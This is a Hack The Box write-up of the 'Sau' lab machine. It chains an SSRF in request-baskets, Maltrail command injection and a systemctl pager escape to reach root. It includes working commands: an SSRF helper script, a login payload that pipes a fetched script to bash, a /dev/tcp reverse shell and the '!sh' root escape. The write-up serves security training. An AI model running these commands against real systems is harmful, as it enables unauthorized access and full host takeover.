HTB • Sau
Sau is an easy Linux-based Hack the Box machine created by sau123 that involves web exploitation, Server Side Request Forgery (SSRF), Common Vulnerabilities and Exposures (CVEs), and Sudo policy exploitation. A port scan initially revealed an HTTP server vulnerable to an SSRF bug tracked as CVE-2023-27163. The vulnerability was exploited to contact an internal HTTP server running an outdated version of Mailtrail prone to shell command injection, which we used to establish a reverse shell as puma. The sudo policy for this user allowed us to exploit CVE-2023-26604 and gain execution as root.
Initial Recon
We began by conducting a full TCP port scan using a tuned nmap command. This command quickly and reliably scans for any relevant TCP ports on the target.
1
2
# Run a thorough port scan
nmap "10.10.11.224" -vv -Pn -sT -sV -n -p- -T4 --min-rate=1000 --max-retries=3
The scan reported two open ports and two filtered ports:
State | Transport | Port | Protocol | Product | Version |
---|---|---|---|---|---|
Open | TCP | 22 | SSH | OpenSSH | 8.2p1 Ubuntu 4ubuntu0.7 |
Filtered | TCP | 80 | |||
Filtered | TCP | 8338 | |||
Open | TCP | 55555 | HTTP |
Web
We first navigated to http://10.10.11.224:55555 which prompted a redirection to /web. On this page we noticed a footer indicating that the site was powered by request-baskets version 1.2.1.
We searched for CVEs affecting this installation and found an SSRF bug, CVE-2023-27163. The CVEDetails page for this bug provided a vulnerability description along with a link to additional exploitation details.
request-baskets up to v1.2.1 was discovered to contain a Server-Side Request Forgery (SSRF) via the component /api/baskets/{name}. This vulnerability allows attackers to access network resources and sensitive information via a crafted API request.
CVE-2023-27163
According to the brief proof-of-concept referenced on the dedicated CVEDetails page, a special HTTP POST request should be made to /api/baskets/*
to create a new basket and set a forwarding URL. A simple shell script was made to streamline this process.
1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env zsh
[ $# -lt 1 ] && echo 'Usage: ./ssrf-curl <URL> [OPTS ...]' && exit 1
echo '{"proxy_response":true,"expand_path":true}' |
jq -c --arg a "$1" '.forward_url=$a' |
read json
basket=$(openssl rand -hex 8)
curl -so /dev/null -d "$json" "http://10.10.11.224:55555/api/baskets/${basket}"
curl -s "http://10.10.11.224:55555/${basket}" ${@:2}
Mailtrail
We used this script to indirectly access the HTTP server on port 80, since it cannot be accessed directly. A simple HTTP GET request was sent to verify the existence of the HTTP server and collect information.
1
2
# Test SSRF script
zsh ssrf.zsh http://localhost:80 -i | more
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; img-src * blob:; script-src 'self' 'unsafe-eval' https://stat.ripe.net; frame-src *; object-src 'none'; block-all-mixed-content;
Content-Type: text/html
Date: Thu, 28 Dec 2023 08:44:05 GMT
Last-Modified: Tue, 31 Jan 2023 18:18:07 GMT
Server: Maltrail/0.53
Transfer-Encoding: chunked
<!DOCTYPE html>
...
A software fingerprint was found in the HTTP “Server” header with the value “Maltrail/0.53”. We searched the web for vulnerabilities affecting this version and found an OS command injection flaw disclosed here.
Description
Maltrail <= v0.54 is vulnerable to unauthenticated OS command injection during the login process.**
Summary
[…] An attacker can exploit this vulnerability by injecting arbitrary OS commands into the username parameter. The injected commands will be executed with the privileges of the running process. This vulnerability can be exploited remotely without authentication.
Proof of Concept
curl 'http://hostname:8338/login' --data 'username=;`id > /tmp/bbq`'
It looks like the installed version can be exploited through the username parameter on the login endpoint at http://localhost/login, which can be accessed with the SSRF script. We started a PwnCat listener and proceeded to execute a simple bash reverse shell downloaded over HTTP.
1
2
3
4
5
6
7
8
9
10
11
12
# Start PwnCat listener
lhost="10.10.14.2" # Change to your assigned VPN IP address
pwncat-cs -l $lhost 8443 # Install: `python3 -m pip install pwncat-cs`
# [In another session] Serve reverse shell over HTTP
lhost="10.10.14.2" # Change to your assigned VPN IP address
mkdir ./http-share && echo "bash -i >& /dev/tcp/${lhost}/8443 <&1" > http-share/index.html
http-server ./http-share -p 8080 -a $lhost # Install: `npm install -g http-server`
# [In another session] Trigger command execution
lhost="10.10.14.2" # Change to your assigned VPN IP address
zsh ssrf.zsh http://localhost:80/login -i -d "username=\`curl ${lhost}:8080|bash\`"
Privilege Escalation
With execution as the user puma, We found a custom sudo policy that allows us to execute a particular command as any user without the password for puma.
1
2
# Display sudo policy
sudo -l
1
2
3
4
5
Matching Defaults entries for puma on sau:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
CVE-2023-26604
The command we can run in a privileged context is /usr/bin/systemctl status trail.service
. After searching the web for known vulnerabilities in systemd/systemctl, a fairly recent privilege escalation CVE tracked as CVE-2023-26604 was found.
systemd before 247 does not adequately block local privilege escalation for some Sudo configurations, e.g., plausible sudoers files in which the “systemctl status” command may be executed. Specifically, systemd does not set LESSSECURE to 1, and thus other programs may be launched from the less program. This presents a substantial security risk when running systemctl from Sudo, because less executes as root when the terminal size is too small to show the complete systemctl output.
We checked the systemd version and noticed that the vulnerable version systemd 245 was installed.
1
2
# Check if systemd version is vulnerable
/usr/bin/systemctl --version
1
2
systemd 245 (245.4-4ubuntu3.22)
+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
Exploitation
To exploit CVE-2023-26604, the terminal height was lowered as described in the CVE description, and the allowed sudo command was executed. From the pager we simply entered !sh
to spawn a root shell.
1
2
# execute systemctl with lower resolution to spawn pager
stty rows 1 && sudo systemctl status trail.service